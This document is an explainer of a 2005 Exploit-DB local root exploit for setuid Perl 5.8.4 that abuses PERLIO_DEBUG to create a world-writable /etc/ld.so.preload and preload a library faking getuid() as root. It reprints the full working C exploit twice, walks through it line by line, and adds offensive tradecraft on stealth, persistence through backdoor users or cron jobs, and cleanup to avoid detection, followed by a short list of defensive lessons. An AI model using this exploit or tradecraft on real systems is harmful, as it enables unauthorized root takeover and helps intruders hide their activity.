Setuid Perl - 'PerlIO_Debug()' Root Owned File Creation Privilege Escalation Explained

Setuid Perl - 'PerlIO_Debug()' Root Owned File Creation Privilege Escalation Explained
What this paper is
This paper details a local privilege escalation vulnerability in older versions of Perl, specifically affecting the PERLIO_DEBUG functionality. The exploit leverages this feature to create and write to arbitrary files as the root user, ultimately allowing an attacker to gain root privileges. The exploit was tested against sperl5.8.4 on Debian and published in 2005.
Simple technical breakdown
The core idea is to trick Perl into thinking it needs to debug its input/output operations. By setting the PERLIO_DEBUG environment variable to a specific file path (/etc/ld.so.preload), Perl will attempt to write debugging information to this file.
The exploit first creates a simple C program that redefines the getuid() function to always return 0 (indicating root privileges). This C program is then compiled into a shared library (.so file).
Next, the exploit sets the PERLIO_DEBUG environment variable to point to /etc/ld.so.preload. When the sperl executable is run, it encounters this variable and tries to write its debug output to /etc/ld.so.preload.
Crucially, the exploit uses umask(001) to ensure that the created /etc/ld.so.preload file has world-writable permissions (rw-rw-rw-). This allows the exploit to write its malicious shared library path into /etc/ld.so.preload.
Finally, the exploit writes the path to the compiled shared library (/tmp/getuid.so) into /etc/ld.so.preload. The ld.so.preload file is a mechanism used by the dynamic linker to load shared libraries before any other library, including the standard C library. When a setuid root program (like sperl or other system utilities) is executed subsequently, it will load /tmp/getuid.so first. Because /tmp/getuid.so redefines getuid() to return 0, any program that calls getuid() will incorrectly believe it is running as root, effectively granting root privileges to the user.
Complete code and payload walkthrough
Let's break down the provided C code and its execution flow.
/*
* Copyright Kevin Finisterre
*
* ** DISCLAIMER ** I am in no way responsible for your stupidity.
* ** DISCLAIMER ** I am in no way liable for any damages caused by compilation and or execution of this code.
*
* ** WARNING ** DO NOT RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***
* ** WARNING ** overwriting /etc/ld.so.preload can severly fuck up your box (or someone elses).
* ** WARNING ** have a boot disk ready incase some thing goes wrong.
*
* Setuid Perl exploit by KF - kf_lists[at]secnetops[dot]com - 1/30/05
*
* this exploits a vulnerability in the PERLIO_DEBUG functionality
* tested against sperl5.8.4 on Debian
*
* kfinisterre@jdam:~$ cc -o ex_perl ex_perl.c
* kfinisterre@jdam:~$ ls -al /etc/ld.so.preload
* ls: /etc/ld.so.preload: No such file or directory
* kfinisterre@jdam:~$ ./ex_perl
* sperl needs fd script
* You should not call sperl directly; do you need to change a #! line
* from sperl to perl?
* kfinisterre@jdam:~$ su -
* jdam:~# id
* uid=0(root) gid=0(root) groups=0(root)
* jdam:~# rm /etc/ld.so.preload
*
*/
#define PRELOAD "/etc/ld.so.preload"
#include <stdio.h>
#include <strings.h> // For bzero, etc. (though not used in this snippet, common in older C)
#include <stdlib.h> // For exit() and system()
#include <unistd.h> // For umask()
int main(int *argc, char **argv) // Note: argc and argv are typically int argc, char **argv
{
FILE *getuid;
// Stage 1: Create a C file to redefine getuid()
if(!(getuid = fopen("/tmp/getuid.c","w+"))) {
printf("error opening file\n");
exit(1);
}
fprintf(getuid, "int getuid(){return 0;}\n" ); // Write the malicious function definition
fclose(getuid);
// Stage 2: Compile the C file into a shared library
// -fPIC: Position-Independent Code
// -Wall: Enable all warnings
// -g: Include debugging information
// -O2: Optimization level 2
// -shared: Create a shared library
// -o /tmp/getuid.so: Output file name
// /tmp/getuid.c: Input C file
// -lc: Link against the standard C library
system("cc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c -lc");
// Stage 3: Set the PERLIO_DEBUG environment variable
// This tells Perl to write debug info to the specified file.
putenv("PERLIO_DEBUG="PRELOAD); // PRELOAD is defined as "/etc/ld.so.preload"
// Stage 4: Set the umask to allow world-writable permissions
// umask(001) means permissions will be 0666 (rw-rw-rw-) for newly created files.
// The exploit comments "I'm rw-rw-rw james bitch!" highlight this.
umask(001);
// Stage 5: Execute the 'sperl' interpreter
// This is the vulnerable part. When 'sperl' runs, it sees PERLIO_DEBUG
// and attempts to write to /etc/ld.so.preload.
// The output "sperl needs fd script..." is expected if PERLIO_DEBUG is set.
system("/usr/bin/sperl5.8.4");
FILE *ld_so_preload;
// Stage 6: Prepare the content to be written to ld.so.preload
char preload[] = {
"/tmp/getuid.so\n" // The path to our malicious shared library
};
// Stage 7: Open /etc/ld.so.preload for writing
// The umask set earlier ensures this file will be world-writable.
if(!(ld_so_preload = fopen(PRELOAD,"w+"))) {
printf("error opening file\n");
exit(1);
}
// Stage 8: Write the shared library path into /etc/ld.so.preload
fwrite(preload,sizeof(preload)-1,1,ld_so_preload);
fclose(ld_so_preload);
// The exploit implicitly relies on a subsequent execution of a setuid root binary
// to load the malicious /tmp/getuid.so via /etc/ld.so.preload.
// The example output shows 'su -' which then leads to 'id' showing root.
}
// milw0rm.com [2005-02-07]Mapping list:
#define PRELOAD "/etc/ld.so.preload"-> Defines the target file for the exploit.#include <stdio.h>-> Standard Input/Output library for file operations (fopen,fprintf,fclose,printf).#include <strings.h>-> String manipulation functions (though not directly used in the provided snippet).#include <stdlib.h>-> Standard library for general utilities (exit,system).#include <unistd.h>-> POSIX operating system API (umask).FILE *getuid;-> File pointer for writing the C source file.fopen("/tmp/getuid.c","w+")-> Opens a file namedgetuid.cin/tmpfor writing and reading. If it exists, its contents are truncated.fprintf(getuid, "int getuid(){return 0;}\n" );-> Writes the C code for a functiongetuidthat always returns0(root) into/tmp/getuid.c.fclose(getuid);-> Closes the file handle for/tmp/getuid.c.system("cc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c -lc");-> Compiles/tmp/getuid.cinto a shared object library (/tmp/getuid.so).-fPIC: Generates Position-Independent Code, necessary for shared libraries.-Wall: Enables most compiler warnings.-g: Includes debugging information.-O2: Applies optimization level 2.-shared: Produces a shared object.-o /tmp/getuid.so: Specifies the output file name./tmp/getuid.c: The input source file.-lc: Links against the standard C library.
putenv("PERLIO_DEBUG="PRELOAD);-> Sets the environment variablePERLIO_DEBUGto the value ofPRELOAD, which is/etc/ld.so.preload. This is the trigger for Perl's debugging I/O.umask(001);-> Sets the file mode creation mask. A mask of001results in file permissions of0666(rw-rw-rw-) for newly created files, making/etc/ld.so.preloadworld-writable.system("/usr/bin/sperl5.8.4");-> Executes thesperlinterpreter. BecausePERLIO_DEBUGis set,sperlwill attempt to write debug information to/etc/ld.so.preload.FILE *ld_so_preload;-> File pointer for writing to/etc/ld.so.preload.char preload[] = { "/tmp/getuid.so\n" };-> A character array containing the string/tmp/getuid.sofollowed by a newline. This is the content that will be written to/etc/ld.so.preload.fopen(PRELOAD,"w+")-> Opens/etc/ld.so.preloadfor writing and reading. Thew+mode will create the file if it doesn't exist or truncate it if it does. Due to theumask, it will be created with0666permissions.fwrite(preload,sizeof(preload)-1,1,ld_so_preload);-> Writes the contents of thepreloadarray (excluding the null terminator, hencesizeof(preload)-1) to/etc/ld.so.preload.fclose(ld_so_preload);-> Closes the file handle for/etc/ld.so.preload.
Shellcode/Payload Segments:
This exploit doesn't use traditional shellcode in the sense of raw machine code bytes. Instead, it uses a multi-stage payload:
- C Source Code (
/tmp/getuid.c): This is the initial payload, a small C program definingint getuid(){return 0;}. - Shared Library (
/tmp/getuid.so): This is the compiled form of the C source code. It's a dynamically loadable library containing the modifiedgetuid()function. /etc/ld.so.preloadEntry: The string"/tmp/getuid.so\n"written into/etc/ld.so.preload. This is the final payload that manipulates the dynamic linker.
Practical details for offensive operations teams
- Required Access Level: Local user with shell access. The exploit is a local privilege escalation.
- Lab Preconditions:
- A target system running a vulnerable version of Perl (e.g.,
sperl5.8.4on Debian). - The
cccompiler must be available on the target system to compile the C code into a shared library. - The
/usr/bin/sperl5.8.4executable must exist and be executable. - The
/etc/ld.so.preloadfile must be writable by the user executing the exploit, or theumaskmust be permissive enough to allow creation with write permissions. The exploit relies onumask(001)to achieve this. - The
/tmpdirectory must be writable.
- A target system running a vulnerable version of Perl (e.g.,
- Tooling Assumptions:
- Standard C compiler (
cc). - Standard Unix utilities (
fopen,fprintf,system,putenv,umask,fwrite). - The
sperl5.8.4interpreter.
- Standard C compiler (
- Execution Pitfalls:
- Compiler Not Found: If
ccis not installed or not in the PATH, the exploit will fail at the compilation stage. - Perl Version Mismatch: The exploit is specific to the
PERLIO_DEBUGbehavior in certain Perl versions. Newer versions might have patched this or behave differently. /etc/ld.so.preloadPermissions: If theumaskis too restrictive, or if/etc/ld.so.preloadis immutable or owned by a user that prevents writing, the exploit will fail to write the malicious library path.- System Stability: Modifying
/etc/ld.so.preloadis inherently risky. If the shared library is malformed or incompatible, it can prevent any program from running, including essential system utilities, leading to a system crash or unbootable state. This is why the author warns to have a boot disk ready. - Race Conditions: While not explicitly a race condition exploit, the timing of writing to
/etc/ld.so.preloadand the subsequent execution of a setuid root binary is critical. If another process modifies/etc/ld.so.preloadbetween the exploit writing to it and a setuid binary loading it, the outcome could be unpredictable. - Antivirus/EDR: Modern security solutions might detect the compilation of C code, the creation of shared libraries in
/tmp, or the modification of/etc/ld.so.preload.
- Compiler Not Found: If
- Tradecraft Considerations:
- Stealth: Compiling code on the target can be noisy. Consider pre-compiling the
.sofile on a similar system and transferring it if possible, though this bypasses theccdependency. - Persistence: This exploit provides immediate root access but doesn't inherently establish persistence. A subsequent step would be needed to ensure continued access (e.g., adding a cron job, creating a backdoor user, etc.).
- Cleanup: The exploit leaves behind
/tmp/getuid.cand/tmp/getuid.so. These should be cleaned up to avoid detection. The/etc/ld.so.preloadfile must also be removed after gaining root access to restore normal system behavior. - Target Identification: The exploit requires identifying a vulnerable Perl version and ensuring the
cccompiler is present.
- Stealth: Compiling code on the target can be noisy. Consider pre-compiling the
Where this was used and when
- Context: This exploit targets local privilege escalation on Linux systems. It was likely used in penetration testing scenarios where an attacker had initial low-privileged access and aimed to gain administrative control.
- Timeframe: Published in February 2005. The vulnerability existed in Perl versions prior to this date. Exploits of this nature were common in the early to mid-2000s as dynamic linking mechanisms and environment variable handling were less scrutinized for security implications.
Defensive lessons for modern teams
- Minimize Setuid Binaries: Reduce the number of setuid root binaries on your system. Each one is a potential target.
- Secure
ld.so.preload: Ensure that/etc/ld.so.preloadis owned by root and is not writable by any other user or group. Regularly audit its contents. - Compiler Availability: Restrict the availability of compilers on production systems. Development tools should not be present on servers.
- Environment Variable Sanitization: Applications, especially those run with elevated privileges, should carefully sanitize or ignore potentially dangerous environment variables.
- Patching and Updates: Keep all software, including interpreters like Perl, up-to-date to patch known vulnerabilities.
- Least Privilege: Ensure processes run with the minimum necessary privileges.
- File Integrity Monitoring: Monitor critical system files like
/etc/ld.so.preloadfor unauthorized modifications. - Behavioral Analysis: Security tools should look for unusual process behavior, such as a user compiling code, creating shared libraries in
/tmp, and then attempting to modify system configuration files.
ASCII visual (if applicable)
This exploit involves a sequence of operations rather than a complex network architecture. A simple flow diagram can illustrate the execution:
+-------------------+ +-------------------+ +-------------------+
| Attacker (low- |----->| Compile C code |----->| Set PERLIO_DEBUG |
| privilege user) | | into .so library | | env var |
+-------------------+ +-------------------+ +-------------------+
|
| (via system() calls)
v
+-------------------+ +-------------------+ +-------------------+
| Execute 'sperl' |----->| Write to |----->| Subsequent exec of|
| (vulnerable) | | /etc/ld.so.preload| | setuid root binary|
+-------------------+ +-------------------+ +-------------------+
|
| (loads /tmp/getuid.so)
v
+-------------------+
| Root privileges |
| gained (via fake |
| getuid()) |
+-------------------+Source references
- Paper URL: https://www.exploit-db.com/papers/792
- Author: Kevin Finisterre
- Published: 2005-02-07
- Keywords: Linux, local
Original Exploit-DB Content (Verbatim)
/*
* Copyright Kevin Finisterre
*
* ** DISCLAIMER ** I am in no way responsible for your stupidity.
* ** DISCLAIMER ** I am in no way liable for any damages caused by compilation and or execution of this code.
*
* ** WARNING ** DO NOT RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***
* ** WARNING ** overwriting /etc/ld.so.preload can severly fuck up your box (or someone elses).
* ** WARNING ** have a boot disk ready incase some thing goes wrong.
*
* Setuid Perl exploit by KF - kf_lists[at]secnetops[dot]com - 1/30/05
*
* this exploits a vulnerability in the PERLIO_DEBUG functionality
* tested against sperl5.8.4 on Debian
*
* kfinisterre@jdam:~$ cc -o ex_perl ex_perl.c
* kfinisterre@jdam:~$ ls -al /etc/ld.so.preload
* ls: /etc/ld.so.preload: No such file or directory
* kfinisterre@jdam:~$ ./ex_perl
* sperl needs fd script
* You should not call sperl directly; do you need to change a #! line
* from sperl to perl?
* kfinisterre@jdam:~$ su -
* jdam:~# id
* uid=0(root) gid=0(root) groups=0(root)
* jdam:~# rm /etc/ld.so.preload
*
*/
#define PRELOAD "/etc/ld.so.preload"
#include <stdio.h>
#include <strings.h>
int main(int *argc, char **argv)
{
FILE *getuid;
if(!(getuid = fopen("/tmp/getuid.c","w+"))) {
printf("error opening file\n");
exit(1);
}
fprintf(getuid, "int getuid(){return 0;}\n" );
fclose(getuid);
system("cc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c -lc");
putenv("PERLIO_DEBUG="PRELOAD);
umask(001); // I'm rw-rw-rw james bitch!
system("/usr/bin/sperl5.8.4");
FILE *ld_so_preload;
char preload[] = {
"/tmp/getuid.so\n"
};
if(!(ld_so_preload = fopen(PRELOAD,"w+"))) {
printf("error opening file\n");
exit(1);
}
fwrite(preload,sizeof(preload)-1,1,ld_so_preload);
fclose(ld_so_preload);
}
// milw0rm.com [2005-02-07]